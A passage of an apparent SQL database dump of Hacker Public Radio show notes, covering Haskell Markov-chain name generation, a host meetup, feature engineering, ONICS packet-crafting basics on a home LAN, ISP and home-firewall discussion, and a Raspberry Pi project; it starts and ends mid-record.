  where\r\n        items = lookup x (configContinuations config)</code></pre>\r\n<p>That <code>concat</code> part could have been written as:</p>\r\n<pre><code>    case (fmap . fmap) itemToFreq items of\r\n        Nothing -&gt;\r\n            []\r\n\r\n        Just x -&gt;\r\n            x</code></pre>\r\n<p>and the end result would be identical.</p>\r\n<p>Now that we know how to figure our possible continuation elements, we can implement computing tail of chain:</p>\r\n<pre><code>tailOfChain :: (Ord a, RandomGen g) =&gt; Config a -&gt; a -&gt; Rand g [a]\r\ntailOfChain config c = do\r\n    item &lt;- chooseM (candidates config c)\r\n    case join item of\r\n        Nothing -&gt;\r\n            return []\r\n\r\n        Just x -&gt; do\r\n             xs &lt;- tailOfChain config x\r\n             return $ x : xs</code></pre>\r\n<p>Function first select <code>item</code> from candidates. If there isn’t suitable item or item is <code>Nothing</code>, result will be an empty list. Otherwise function recurses, computes tail starting from selected element and constructs chain starting by selected <code>item</code> and followed by tail.</p>\r\n<p><code>join item</code> at the start of case analysis collapses two nested <code>Maybe</code>s together:</p>\r\n<ul>\r\n<li><code>Nothing</code> will result <code>Nothing</code> (no suitable continuation)</li>\r\n<li><code>Just Nothing</code> will also result <code>Nothing</code> (end of chain reached)</li>\r\n<li><code>Just a</code> will result <code>Just a</code> (suitable element found)</li>\r\n</ul>\r\n<p>In the end we have list that is sort of like: <code>h : chooseM (candidates config h) : chooseM (candidates config h\') : chooseM (candidates config h\'\') : ... : []</code></p>\r\n<h2 id=\"extra\">Extra</h2>\r\n<p>For convenience we define two other functions. First one is for when we don’t want to use <code>Rand g a</code>. It’s done by applying <code>runRand</code> function with our <code>chainM</code> function, config and <code>RandomGen</code>.</p>\r\n<pre><code>chain :: (Ord a, RandomGen g) =&gt; Config a -&gt; g -&gt; ([a], g)\r\nchain config g =\r\n    runRand (chainM config) g</code></pre>\r\n<p>More interesting is <code>chains</code> which builds infinite list of chains:</p>\r\n<pre><code>chains :: (Ord a, RandomGen g) =&gt; Config a -&gt; g -&gt; [[a]]\r\nchains config g =\r\n        c : chains config g&#39;\r\n    where\r\n        (c, g&#39;) = chain config g</code></pre>\r\n<p>This uses <code>chain</code> function to create starting element (which is markov chain) and new generator <code>g\'</code>. Then it builds a list where that first chain is followed by list of chains that is created by calling <code>chains</code> with that new random generator. Since there’s no termination case in the function, it will compute infinitely long list of markov chains. This works because elements are computed only when needed. For all intents and purposes for program using this infinite list, items are there when needed.</p>\r\n<h2 id=\"closing\">Closing</h2>\r\n<p>Hardest part working with markov chains (at least in my opinion) is building suitable configuration. When you have that configuration at hand, building chains from it requires relatively small amount of code. In the next episode we’re going to use this chains for our space game.</p>\r\n<p>Questions, comments and feedback are always welcome. Best way to reach me is by email or in fediverse where I’m <code>tuturto@mastodon.social</code>.</p>\r\n',364,107,0,'CC-BY-SA','markov chains, Haskell',0,0,1),
(2905,'2019-09-20','Two HPR hosts living in the same region finally meet up!',1145,'Dave Morriss and MrX meet up and record a conversation','<h2 id=\"introduction\">Introduction</h2>\r\n<p>Two HPR hosts who live in the Edinburgh locality in Scotland met on Saturday 24<sup>th</sup> August for a chat.</p>\r\n<p>The hosts are:</p>\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=201\" title=\"MrX\">MrX</a> - first HPR show <a href=\"https://hackerpublicradio.org/eps.php?id=911\">“Hobbies”</a> on 2012-01-27</li>\r\n<li><a href=\"https://hackerpublicradio.org/correspondents.php?hostid=225\" title=\"Dave Morriss\">Dave Morriss</a> - first HPR show <a href=\"https://hackerpublicradio.org/eps.php?id=1091\">“Useful Vim Plugins”</a> on 2012-10-05</li>\r\n</ul>\r\n<p>Some of the meeting was recorded and is presented here.</p>\r\n<h3 id=\"recording-information\">Recording information</h3>\r\n<p>We were both recording this chat. Dave was using his Zoom H2n (with the microphones in <em>XY</em> mode) and MrX had left his small <em>Dictaphone</em>-like recorder on the table.</p>\r\n<p>Most of the audio here was from the Zoom, but at one point it switches to MrX’s recorder for comparison. The sample is at about 18 minutes into the recording (hard to judge since an intro sequence will have been added on the HPR site). A “chirp” effect has been added at the start and end of this sample to help with identification.</p>\r\n<p>The Zoom track had noise reduction applied to it, using a noise sample from the start as a reference. The sample from MrX’s recorder also had noise reduction applied, and both tracks were amplified.</p>\r\n<h2 id=\"links\">Links</h2>\r\n<ul>\r\n<li>MrX’s shows that we were talking about:\r\n<ul>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2879\">Describing how I listen to podcasts PART 1</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2889\">Describing how I listen to podcasts PART 2</a></li>\r\n<li><a href=\"https://hackerpublicradio.org/eps.php?id=2901\">Describing how I listen to podcasts PART 3</a></li>\r\n</ul></li>\r\n<li>The radio device for the Pi mentioned by Dave:\r\n<ul>\r\n<li>ESP8266 IoT pHAT from Pimoroni (now discontinued)</li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/ESP8266\">Wikipedia page on the ESP8266</a></li>\r\n<li><a href=\"https://learn.pimoroni.com/tutorial/hal13/getting-started-with-iot-phat\">Pimoroni Tutorial on using the pHAT</a></li>\r\n</ul></li>\r\n</ul>\r\n',225,0,1,'CC-BY-SA','HPR,hosts,meeting,Dave Morriss,MrX',0,0,1),
(2906,'2019-09-23','Feature Engineering for Data-Driven Decision Making',1006,'In this episode, I explain feature engineering, and how it can be used to make decisions','<h2 id=\"example-of-the-input-data\">Example of the input data</h2>\r\n<table>\r\n<thead>\r\n<tr class=\"header\">\r\n<th>Client name</th>\r\n<th>Date ordered</th>\r\n</tr>\r\n</thead>\r\n<tbody>\r\n<tr class=\"odd\">\r\n<td>Client 1</td>\r\n<td>2019-01-01</td>\r\n</tr>\r\n<tr class=\"even\">\r\n<td>Client 1</td>\r\n<td>2019-01-01</td>\r\n</tr>\r\n<tr class=\"odd\">\r\n<td>Client 3</td>\r\n<td>2019-01-01</td>\r\n</tr>\r\n<tr class=\"even\">\r\n<td>Client 3</td>\r\n<td>2019-01-01</td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<h2 id=\"example-of-the-engineered-features\">Example of the engineered features</h2>\r\n<table>\r\n<thead>\r\n<tr class=\"header\">\r\n<th>Client name</th>\r\n<th>volume</th>\r\n<th>last order date</th>\r\n<th>first order date</th>\r\n<th>days since last order</th>\r\n</tr>\r\n</thead>\r\n<tbody>\r\n<tr class=\"odd\">\r\n<td>Client 1</td>\r\n<td>292</td>\r\n<td>2019-09-03</td>\r\n<td>2015-03-04</td>\r\n<td>10</td>\r\n</tr>\r\n<tr class=\"even\">\r\n<td>Client 2</td>\r\n<td>18</td>\r\n<td>2019-09-09</td>\r\n<td>2019-09-04</td>\r\n<td>4</td>\r\n</tr>\r\n<tr class=\"odd\">\r\n<td>Client 3</td>\r\n<td>300</td>\r\n<td>2019-08-16</td>\r\n<td>2016-11-15</td>\r\n<td><strong>28</strong></td>\r\n</tr>\r\n</tbody>\r\n</table>\r\n<h2 id=\"links\">Links</h2>\r\n<ol type=\"1\">\r\n<li><a href=\"https://en.wikipedia.org/wiki/Feature_engineering\">Feature Engineering</a></li>\r\n<li><a href=\"https://en.wikipedia.org/wiki/Feature_(machine_learning)\">Feature</a></li>\r\n</ol>\r\n',300,0,0,'CC-BY-SA','data',0,0,1),
(2909,'2019-09-26','ONICS Basics Part 3:  Networking Fundamentals',3031,'This show discusses basic principles of networks and how to send data using ONICS','<h1 id=\"theory\">Theory</h1>\r\n<p>In this episode I decided to take a slight diversion into networking fundamentals. As before, if you want to learn more about installing the ONICS tool suite, go back and listen to HPR 2882.</p>\r\n<p>There are three key concepts to understand about modern networks. They are:</p>\r\n<ul>\r\n<li><p>digital - the networks carry bits and bytes (binary digits)</p></li>\r\n<li><p>packet switched - devices break data into blobs of data called &quot;packets&quot; and take turns sending and receiving those packets to/from other devices attached to the network</p></li>\r\n<li><p>internetworked -- machines communicate using a protocol that allows traffic to traverse across multiple, independently-managed networks in a uniform way</p></li>\r\n</ul>\r\n<h1 id=\"my-setup\">My Setup</h1>\r\n<ul>\r\n<li><p>2 laptops connected to a home wifi network that has Internet connectivity.</p></li>\r\n<li><p>Practicing sending data from a source machine to a destination machine. Both are running Linux.</p></li>\r\n<li><p>Source machine:</p>\r\n<ul>\r\n<li>Wifi interface: wlan0</li>\r\n<li>Ethernet address: 00:22:fa:a7:69:90</li>\r\n<li>IP address: 192.168.0.4</li>\r\n</ul></li>\r\n<li><p>Destination machine</p>\r\n<ul>\r\n<li>Wifi interface: wlo1</li>\r\n<li>Ethernet address: 6c:88:14:7c:2e:14</li>\r\n<li>IP address: 192.168.0.248</li>\r\n</ul></li>\r\n<li><p>Internet Router:</p>\r\n<ul>\r\n<li>Ethernet address: 00:0d:b9:23:f2:51</li>\r\n<li>IP address: 192.168.0.1</li>\r\n</ul></li>\r\n</ul>\r\n<h1 id=\"more-terminology\">More Terminology</h1>\r\n<ul>\r\n<li><p>Address - a number that identifies a machine\'s interface in a network</p></li>\r\n<li><p>Packet - a blob of binary data sent as a unit over a network</p></li>\r\n<li><p>Route - a rule that specifies how to forward traffic to a given address</p></li>\r\n<li><p>Router / Gateway - a machine that uses the IP protocol and forwards traffic between multiple networks that it connects to</p></li>\r\n<li><p>Network Protocol - a set of rules and data formats for exchanging information over a network</p></li>\r\n</ul>\r\n<h1 id=\"standard-unix-commands\">Standard UNIX Commands</h1>\r\n<ul>\r\n<li>ifconfig (no arguments or \'-a\')\r\n<ul>\r\n<li>list interfaces on a machine</li>\r\n</ul></li>\r\n<li>ifconfig IFNAME\r\n<ul>\r\n<li>list properites about a given interface</li>\r\n</ul></li>\r\n<li>ping -c 1 IPADDRESS\r\n<ul>\r\n<li>send an echo request to machine IPADDRESS</li>\r\n</ul></li>\r\n<li>arp -na\r\n<ul>\r\n<li>Dump the Ethernet addresses of known nearby machines</li>\r\n</ul></li>\r\n<li>netstat -nr\r\n<ul>\r\n<li>Dump the routes in a system</li>\r\n</ul></li>\r\n<li>netstat -nr | grep &quot;^0.0.0.0&quot;\r\n<ul>\r\n<li>Find the route (and thus IP address) of the default gateway</li>\r\n</ul></li>\r\n</ul>\r\n<h1 id=\"onics-commands-in-this-episode\">ONICS Commands in this Episode</h1>\r\n<ul>\r\n<li><p>rawpkt - take a blob of data and wrap it in an XPKT format (so other ONICS tools can understand what it is)</p></li>\r\n<li><p>ethwrap - take an XPKT and prepend an Ethernet header to it</p></li>\r\n<li><p>ipwrap - take an XPKT and prepend an IP header to it</p></li>\r\n<li><p>pktin - read a stream of packets from a network interface</p></li>\r\n<li><p>pflt - filter a stream of packets so that only those matching a pattern get through</p></li>\r\n<li><p>pktout - send a stream of packets to a network interface</p></li>\r\n<li><p>x2hpkt - convert XPKTs into a hex dump</p></li>\r\n<li><p>xpktdump - like x2hpkt, but send the output to a pager like \'less\' for easy reading</p></li>\r\n</ul>\r\n<h1 id=\"sending-an-ethernet-packet-to-the-destination\">Sending an Ethernet Packet to the Destination</h1>\r\n<ul>\r\n<li>On the receiver:</li>\r\n</ul>\r\n<pre><code>    $ sudo pktin wlo1 |\r\n      pflt &quot;not ip and eth.dst == 6c:88:14:7c:2e:14&quot; |\r\n      x2hpkt\r\n</code></pre>\r\n<ul>\r\n<li>On the sender:</li>\r\n</ul>\r\n<pre><code>    $ echo &quot;hello world&quot; |\r\n      rawpkt |\r\n      ethwrap &quot;eth.dst = 6c:88:14:7c:2e:14; &quot;\r\n              &quot;eth.src = 00:22:fa:a7:69:90; &quot;\r\n              &quot;eth.ethtype = 12;&quot; |\r\n      sudo pktout wlan0\r\n</code></pre>\r\n<p>Note that while I broke up the field setting commands into multiple lines in ethwrap, they can all be part of a single quoted string if desired. To store the packet to a file rather than send it instead do something</p>\r\n<pre><code>$ echo ... | rawpkt | ethwrap ... &gt; outfile.xpkt\r\n</code></pre>\r\n<p>One can then dump the packet by running:</p>\r\n<pre><code>$ xpktdump outfile.xpkt\r\n</code></pre>\r\n<p>or send the packet by running:</p>\r\n<pre><code>$ sudo pktout outfile.xpkt wlan0\r\n</code></pre>\r\n<h1 id=\"sending-an-ip-packet-to-the-destination-over-the-local-network\">Sending an IP Packet to the Destination over the Local Network</h1>\r\n<ul>\r\n<li>On the reciever:</li>\r\n</ul>\r\n<pre><code>    $ sudo pktin wlo1 |\r\n      pflt &quot;ip and ip.proto == 255&quot; |\r\n      x2hpkt\r\n</code></pre>\r\n<ul>\r\n<li>On the sender:</li>\r\n</ul>\r\n<pre><code>    $ echo &quot;hello world&quot; |\r\n      rawpkt |\r\n      ipwrap &quot;ip.saddr = 192.168.0.4;&quot;\r\n             &quot;ip.daddr = 192.168.0.248;&quot;\r\n             &quot;ip.len = 32;&quot;\r\n             &quot;ip.ttl = 64;&quot;\r\n             &quot;ip.proto = 255;&quot; |\r\n      ethwrap &quot;eth.dst = 6c:88:14:7c:2e:14; &quot;\r\n              &quot;eth.src = 00:22:fa:a7:69:90; &quot;\r\n              &quot;eth.ethtype = 0x800;&quot; |\r\n      sudo pktout wlan0\r\n</code></pre>\r\n<p>Note that while I broke up the field setting commands into multiple lines in ipwrap and ethwrap, they can all be part of a single quoted string if desired. Also note that it is not actually necessary to set the \'ip.len\' and \'eth.ethtype\' fields: the tools will do that automatically.</p>\r\n<h1 id=\"sending-an-ip-packet-to-the-destination-via-ip\">Sending an IP Packet to the Destination via IP</h1>\r\n<ul>\r\n<li>On the receiver:</li>\r\n</ul>\r\n<pre><code>    $ sudo pktin wlo1 |\r\n      pflt &quot;ip and ip.proto == 255&quot; |\r\n      x2hpkt\r\n</code></pre>\r\n<ul>\r\n<li>One the sender:</li>\r\n</ul>\r\n<pre><code>    $ echo &quot;hello world&quot; |\r\n      rawpkt |\r\n      ipwrap &quot;ip.saddr = 192.168.0.4;&quot;\r\n             &quot;ip.daddr = 192.168.0.248;&quot;\r\n             &quot;ip.ttl = 64;&quot;\r\n             &quot;ip.proto = 255;&quot; |\r\n      ethwrap &quot;eth.dst = 00:0d:b9:23:f2:51; &quot;\r\n              &quot;eth.src = 00:22:fa:a7:69:90; &quot; |\r\n      sudo pktout wlan0\r\n</code></pre>\r\n<h1 id=\"challenge\">Challenge</h1>\r\n<p>There are several differences between the packets that arrive at the destination machine when sending directly over the local network versus sending via an IP gateway (router). I\'ve mentioned how the Ethernet header is different. Can you find the other differences? What causes these differences?</p>\r\n<p>TIP: instead of sending the <code>pktin</code> command to x2hpkt, send it to a file. Do this for both local network send and for sending via the router saving each to different files. Then run <code>pdiff</code> on the two files to highlight the differences.</p>\r\n',259,61,0,'CC-BY-SA','command-line, networking, basics',0,0,1),
(2911,'2019-09-30','my internet connection',655,'a bloviated harang with a smattering of spewed expetives, while describing available ISPs','<p>Any notes for this episode should probably contain links to the ISPs mentioned in the show. Since I do not wish to harm any listeners, I have opted to not include links to evil ISPs.</p>',243,0,1,'CC-BY-SA','internet service, satellite',0,0,1),
(2938,'2019-11-06','Naming pets in space game',1236,'How to use markov chains to generate names','<h2 id=\"intro\">Intro</h2>\r\n<p>In the two previous episodes we built a weighted list and used that to build markov chains. This time we’re going to use them to generate some names based on examples. I’m skipping over a lot of uninteresting code in this episode, concentrating only the parts that deal with names.</p>\r\n<h2 id=\"idea\">Idea</h2>\r\n<p>Person in game might hear scurrying sounds inside walls of their quarters. Then they have option of getting a cat, taming a rat or letting someone else deal with the problem. Depending on their choice, they might end up with a cat or a rat, that of course needs a name. Game offers 3 different options of names that haven’t been used before and person can always opt for completely random one.</p>\r\n<h2 id=\"config\">Config</h2>\r\n<p>While we’re not going to dig very deep into making configurations for markov chains, we can have look at the overall process.</p>\r\n<p>We have list of names to serve as examples and three functions, which implementation I won’t delve into:</p>\r\n<ul>\r\n<li><code>start</code> for adding starting element</li>\r\n<li><code>links</code> for recording link between two elements</li>\r\n<li><code>end</code> adds ending element</li>\r\n</ul>\r\n<p><code>addName</code> function is used to add single name into config:</p>\r\n<pre><code>addName :: Int -&gt; Text -&gt; Config Text -&gt; Config Text\r\naddName n s config =\r\n    links pairs $\r\n            end elements $\r\n            start elements config\r\n    where\r\n        elements = chunksOf n s\r\n        pairs = zip elements (safeTail elements)</code></pre>\r\n<p>First <code>s</code> (name) is split into strings of length <code>n</code>. These <code>elements</code> are then combined into pairs, where consecutive elements form a pair. Final step is to add start and ending elements into config, followed by links between elements of pairs.</p>\r\n<p>We can then fold a list of examples into config:</p>\r\n<pre><code>nameConfig :: [Text] -&gt; Int -&gt; Config Text\r\nnameConfig xs n =\r\n    foldr (addName n) emptyConfig xs</code></pre>\r\n<p>This starts with <code>emptyConfig</code> and calls <code>addName</code> repeatedly until all elements of list containing examples have been processed.</p>\r\n<h2 id=\"implementation\">Implementation</h2>\r\n<p>Now that we have configuration, we can start generating names. As usual, I like to keep things specific and generate <code>PetName</code> instead of just <code>Text</code>. I happened to have list of ancient greek names at hand, so I used that. Later on we’ll have to add more cultures, like Romans, Parthians, Persians, Germans, Phoenicians and so on.</p>\r\n<p>General implementation of generating infinite list of strings of specific kind is shown below:</p>\r\n<pre><code>names :: (RandomGen g, Eq b) =&gt; (Text -&gt; b) -&gt; Config Text -&gt; g -&gt; [b]\r\nnames t config g =\r\n    nub $ (t . toTitle . concat) &lt;$&gt; chains config g</code></pre>\r\n<p>It’s easier to read if you start from right. <code>chains config g</code> generates infinite list of markov chains with given configuration. Next we create a new function <code>(t . toTitle . concat)</code>, which uses <code>concat</code> to combine list of <code>Text</code> into single <code>Text</code>, <code>toTitle</code> to capitalize is correctly and <code>t</code> to transform it to something (<code>PetName</code> in our case). <code>&lt;$&gt;</code> is then used to apply this function to each element of our infinite list. Finally <code>nub</code> is used to remove duplicate entries.</p>\r\n<p>With <code>names</code> we can then define <code>petNames</code>:</p>\r\n<pre><code>petNames :: (RandomGen g) =&gt; g -&gt; [PetName]\r\npetNames =\r\n    names MkPetName greekNameConfig</code></pre>\r\n<p><code>MkPetName</code> is value constructor that turns <code>Text</code> into <code>PetName</code> (this is <code>t</code> used by <code>names</code> function).</p>\r\n<h2 id=\"pets\">Pets</h2>\r\n<p>Pets are currently very much work in progress. They have few attributes and there can be two different kinds of pets:</p>\r\n<pre><code>Pet json\r\n    name PetName\r\n    type PetType\r\n    dateOfBirth StarDate\r\n    dateOfDeath StarDate Maybe\r\n    ownerId PersonId\r\n    deriving Show Read Eq</code></pre>\r\n<pre><code>data PetType\r\n    = Cat\r\n    | Rat\r\n    deriving (Show, Read, Eq, Ord, Enum, Bounded)</code></pre>\r\n<p>The actual beef is <code>namingPetEvent</code> function. When applied with <code>Entity Person</code>, <code>Entity Pet</code> and <code>StarDate</code>, it will create <code>News</code> that can be saved into database and later on showed to player. While the code is shown below, I’m not going to go over it line by line:</p>\r\n<pre><code>namingPetEvent :: (PersistQueryRead backend, MonadIO m,\r\n    BaseBackend backend ~ SqlBackend) =&gt;\r\n    Entity Person -&gt; Entity Pet -&gt; StarDate -&gt; ReaderT backend m News\r\nnamingPetEvent personE petE date = do\r\n    pets &lt;- selectList [ PetOwnerId ==. (entityKey personE)\r\n                       , PetDateOfDeath ==. Nothing\r\n                       ] []\r\n    let names = (petName . entityVal) &lt;$&gt; pets\r\n    g &lt;- liftIO getStdGen\r\n    let availableNames = take 3 $ filter (\\x -&gt; not (x `elem` names)) $ petNames g\r\n    let content = NamingPet (NamingPetEvent { namingPetEventPersonId = entityKey personE\r\n                                            , namingPetEventPetId = entityKey petE\r\n                                            , namingPetEventPetType = (petType . entityVal) petE\r\n                                            , namingPetEventDate = date\r\n                                            , namingPetNameOptions = availableNames\r\n                                            })\r\n                            [] Nothing\r\n    return $ mkPersonalSpecialNews date (entityKey personE) content</code></pre>\r\n<p>General idea is to use <code>selectList</code> to load living pets of given person and then extract their names. With random generator <code>g</code>, we create a infinite list of <code>PetName</code>s, remove already used names from it and take 3 first ones. These names are then used to create <code>NamingPetEvent</code>.</p>\r\n<h2 id=\"in-closing\">In closing</h2>\r\n<p>Names are probably one of the most common applications of markov chains in games. Same technique can be used to generate nonsense books and articles that look realistic on a glance.</p>\r\n<p>Questions, comments and feedback is welcomed, best way to reach is email or in fediverse where I’m <code>tuturto@mastodon.social</code>. Or even better, record your own episode for Hacker Public Radio.</p>\r\n<p>ad astra!</p>\r\n',364,107,0,'CC-BY-SA','haskell, markov chains',0,0,1),
(2913,'2019-10-02','Windows, SDN, and Firewalls',2483,'Being a Windows User for the past 3 years, Information on SDN, and a DIY approach to a home Firewall','<pre>\r\nIntro\r\n\r\nLast Upload was hpr1468 March 19, 2014 \r\n\r\npython\r\n\r\n>>> print (D.today() - D(2014, 3, 19)).days\r\n\r\n1999\r\n\r\n>>> 2000/365\r\n\r\n5\r\n</pre>\r\n\r\n<p><a href=\"https://unix.stackexchange.com/questions/24626/quickly-calculate-date-differences\" class=\"uri\">https://unix.stackexchange.com/questions/24626/quickly-calculate-date-differences</a></p>\r\n<p>In the last 5 years:</p>\r\n<ul>\r\n<li>Traveled the world.</li>\r\n<li>Deployed a lot of things for work.</li>\r\n<li>Taken on a new role which moves me from Datacenters to Networks.</li>\r\n<li>Learned a lot about Operations, Datacenter Infrastructure, People around the world, and why it is important to have your house in order.</li>\r\n<li>Read over 3 dozen books.</li>\r\n<li>Paid off debt and focused on long term financial goals.</li>\r\n<li>Humility, Humanity, and Harmony: Three things I have continued to strive for in my personal life, work, and hobbies.</li>\r\n</ul>\r\n<p>Let\'s Start The Show off in the wrong direction</p>\r\n<h2 id=\"windows\">Windows</h2>\r\n<ul>\r\n<li>Chocolatey\r\n<ul>\r\n<li>Great Tool for Downloading free software from the windows powershell command line</li>\r\n<li><a href=\"https://chocolatey.org/docs/installation\" class=\"uri\">https://chocolatey.org/docs/installation</a></li>\r\n</ul></li>\r\n</ul>\r\n<h3 id=\"sublime-text-3\">Sublime Text 3</h3>\r\n<ul>\r\n<li>Fantastic Text editor and very powerful. I use this to quickly parse data using regex searches and push this to spreadsheets or other tools that allow me to organize data quickly. Overall Great tool for anyone</li>\r\n</ul>\r\n<h3 id=\"summary\">Summary:</h3>\r\n<ul>\r\n<li>Overall: The importance of being an everyday Windows User has allowed me to focus on solving problems in different and unique ways. I\'ve found that the way I use Windows is not the same as most normal Windows Users. I live most of the time inside of Chrome so Windows is just another OS to get my Chrome Browser running.</li>\r\n<li>Observation: Windows has definitely matured over the past 10 years. I find myself enjoying the time I save using Windows 10.</li>\r\n<li>Contradictions: I still use Linux, but as a VM to work on things that I just can\'t do inside of Windows.</li>\r\n</ul>\r\n<h2 id=\"web-stuff\">Web Stuff</h2>\r\n<ul>\r\n<li>Regex\r\n<ul>\r\n<li>Test and debug your regex. It is a great tool that combines pastebin and regex debugging. This allows you to share your regex with other by simply using a link. There is a lot of useful information on the site about what each portion of your regex is doing.</li>\r\n<li><a href=\"https://regex101.com\" class=\"uri\">https://regex101.com</a></li>\r\n</ul></li>\r\n<li>Maps\r\n<ul>\r\n<li>USGS Maps\r\n<ul>\r\n<li>Very nice site that allows you to download PDFs of 1:24000 or 7.5 minute Maps. You can print these off and use a Map grid tool to navigate your journey. This is kind of an analog tool but you are downloading the maps to your computer or phone. Good to have maps saved offline while you hike, that way you don\'t get lost.</li>\r\n<li><a href=\"https://store.usgs.gov/map-locator\" class=\"uri\">https://store.usgs.gov/map-locator</a></li>\r\n</ul></li>\r\n</ul></li>\r\n<li>SDN Information\r\n<ul>\r\n<li>If you\'re just starting with Software Defined Networking or are already working with it in a production environment, there is much to learn but very few places to find aggregated information. The GitHub Page called awesome-sdn has tons of links on NOS,Controllers, Libraries, and more. I have A couple of Northbound network and Aruba switches at home to use with my SDN projects. I highly recommend you start getting familiar with network automation using ansible or other automation best practices at the least. For the more technical stuff definitely start looking at SDN.</li>\r\n<li>Awesome-SDN\r\n<ul>\r\n<li><a href=\"https://github.com/sdnds-tw/awesome-sdn/blob/master/README.md\" class=\"uri\">https://github.com/sdnds-tw/awesome-sdn/blob/master/README.md</a></li>\r\n</ul></li>\r\n<li>Northbound Networks SDN Devices\r\n<ul>\r\n<li><a href=\"https://northboundnetworks.com/\" class=\"uri\">https://northboundnetworks.com/</a></li>\r\n</ul></li>\r\n<li>ZeroTier is an example of SDN WAN or Edge Networking\r\n<ul>\r\n<li><a href=\"https://www.zerotier.com/download/\" class=\"uri\">https://www.zerotier.com/download/</a></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"home-hacks\">Home Hacks</h2>\r\n<ul>\r\n<li>Home Phone\r\n<ul>\r\n<li>Cheap way to have a home phone\r\n<ul>\r\n<li>Google Voice Number</li>\r\n<li>OBi200 VoIP Telephone Adapter 100Mb LAN\r\n<ul>\r\n<li>Has the Option to sign up for 911 but with just Google Voice Number it is a free way to have a house phone</li>\r\n<li><a href=\"https://www.obitalk.com/info/products/obi200\" class=\"uri\">https://www.obitalk.com/info/products/obi200</a></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n<h2 id=\"firewalls\">Firewalls</h2>\r\n<ul>\r\n<li>Off the shelf vs DIY options\r\n<ul>\r\n<li>Off The Shelf Ubiquiti Option\r\n<ul>\r\n<li>Ubiquiti \"SDN\" Like FW decent enough for homes with 100Mb/s Uplinks but not for homes with 1Gb/s uplinks.</li>\r\n<li>USG3 can\'t handle IPS throughput past 50Mb/s</li>\r\n<li>USG3 can\'t handle FW PPS past 400Mb/s at 100B packets, which is around 500,000 PPS</li>\r\n<li>The Ubiquiti alternative would be to spend money on an XG which is well over $1000 USD.</li>\r\n</ul></li>\r\n<li>DIY Option\r\n<ul>\r\n<li>The best alternative would be to purchase a used SFF PC with at least 1 Gb onboard NIC and 2 PCIe x16 or x 8 lanes. This would allow for 10Gb NIC options</li>\r\n<li>4x10Gb Intel Nics are a steal</li>\r\n<li>or 4 x 1Gb Nics which are an even better deal.</li>\r\n<li>Going SFP+ is a great option because you can use Copper or Fiber Modules in the same NIC card.</li>\r\n</ul></li>\r\n</ul></li>\r\n<li>Summary\r\n<ul>\r\n<li>The most important part about the SFF Option, you get to use a xeon processor, at least 32 GBs of RAM, and install up to 4 HDDs in the System. You can even install a PCIe NVME or M.2 Sata using a PCIe peripheral.</li>\r\n<li>For software, PFSense or Sophos XG will be great options. If you really want to get technical, load up a hypervisor and then install the Firewall as a VM. This would allow you to leverage the SFF system for more than just a FW and allow for easy testing of other types of FW solutions.</li>\r\n</ul></li>\r\n<li>Hardware Info\r\n<ul>\r\n<li>Intel X722DA4FH Ethernet Network Adapter X722-DA4\r\n<ul>\r\n<li><a href=\"https://g.co/kgs/j9aNJz\" class=\"uri\">https://g.co/kgs/j9aNJz</a></li>\r\n</ul></li>\r\n<li>HP Z240 SFF\r\n<ul>\r\n<li><a href=\"https://g.co/kgs/ax2hwq\" class=\"uri\">https://g.co/kgs/ax2hwq</a></li>\r\n</ul></li>\r\n</ul></li>\r\n<li>Firewall OSes\r\n<ul>\r\n<li>PFSense\r\n<ul>\r\n<li><a href=\"https://www.pfsense.org/\" class=\"uri\">https://www.pfsense.org/</a></li>\r\n</ul></li>\r\n<li>Sophos\r\n<ul>\r\n<li><a href=\"https://www.sophos.com/en-us/products/next-gen-firewall.aspx\" class=\"uri\">https://www.sophos.com/en-us/products/next-gen-firewall.aspx</a></li>\r\n</ul></li>\r\n<li>OPNSense\r\n<ul>\r\n<li><a href=\"https://opnsense.org/\" class=\"uri\">https://opnsense.org/</a></li>\r\n</ul></li>\r\n</ul></li>\r\n</ul>\r\n',231,61,1,'CC-BY-SA','Windows, Firewalls, SDN',0,0,1),
(2914,'2019-10-03','Describing how I listen to podcasts PART 4',526,'In this episode I cover my 2nd add on board for the raspberry pi','<ul>\r\n<li><p>PiFace Control and Display<br />\r\n<a href=\"https://www.piface.org.uk/products/piface_control_and_display/\" class=\"uri\">https://www.piface.org.uk/products/piface_control_and_display/</a></p></li>\r\n<li><p>How to fit, setup and install the required software for your Raspberry Pi running the Raspbian Operating system<br />\r\n<a href=\"https://www.piface.org.uk/guides/setting_up_pifacecad/fitting_PiFace_Control_and_Display/\" class=\"uri\">https://www.piface.org.uk/guides/setting_up_pifacecad/fitting_PiFace_Control_and_Display/</a></p></li>\r\n</ul>\r\n<p>Pictures 01, 02 and 03 show how the PiFace Control and Display board and raspberry pi fit into the case<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2914/Picture-01.JPG\" alt=\"Picture-01.JPG\" /><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2914/Picture-02.JPG\" alt=\"Picture-02.JPG\" /><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2914/Picture-03.JPG\" alt=\"Picture-03.JPG\" /></p>\r\n<p>Pictures 04 and 05 shows the piece of plastic used to transfer the light from the LED’s on the Pi board to the holes in the casing. This is supposed to allow you to monitor the PI LED’s. I held it in place using a piece of Blu Tack.<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2914/Picture-04.JPG\" alt=\"Picture-04.JPG\" /><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2914/Picture-05.JPG\" alt=\"Picture-05.JPG\" /></p>\r\n<ul>\r\n<li>Wikipedia article about Blu Tack<br />\r\n<a href=\"https://en.wikipedia.org/wiki/Blu_Tack\" class=\"uri\">https://en.wikipedia.org/wiki/Blu_Tack</a></li>\r\n</ul>\r\n<p>Picture 6 shows the completed box<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2914/Picture-06.JPG\" alt=\"Picture-06.JPG\" /></p>\r\n<p>Pictures 7 and 8 show the project in operation and mounted on a spare Anker tablet stand that I had lying about.<br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2914/Picture-07.JPG\" alt=\"Picture-07.JPG\" /><br />\r\n<img src=\"https://hackerpublicradio.org/eps/hpr2914/Picture-08.JPG\" 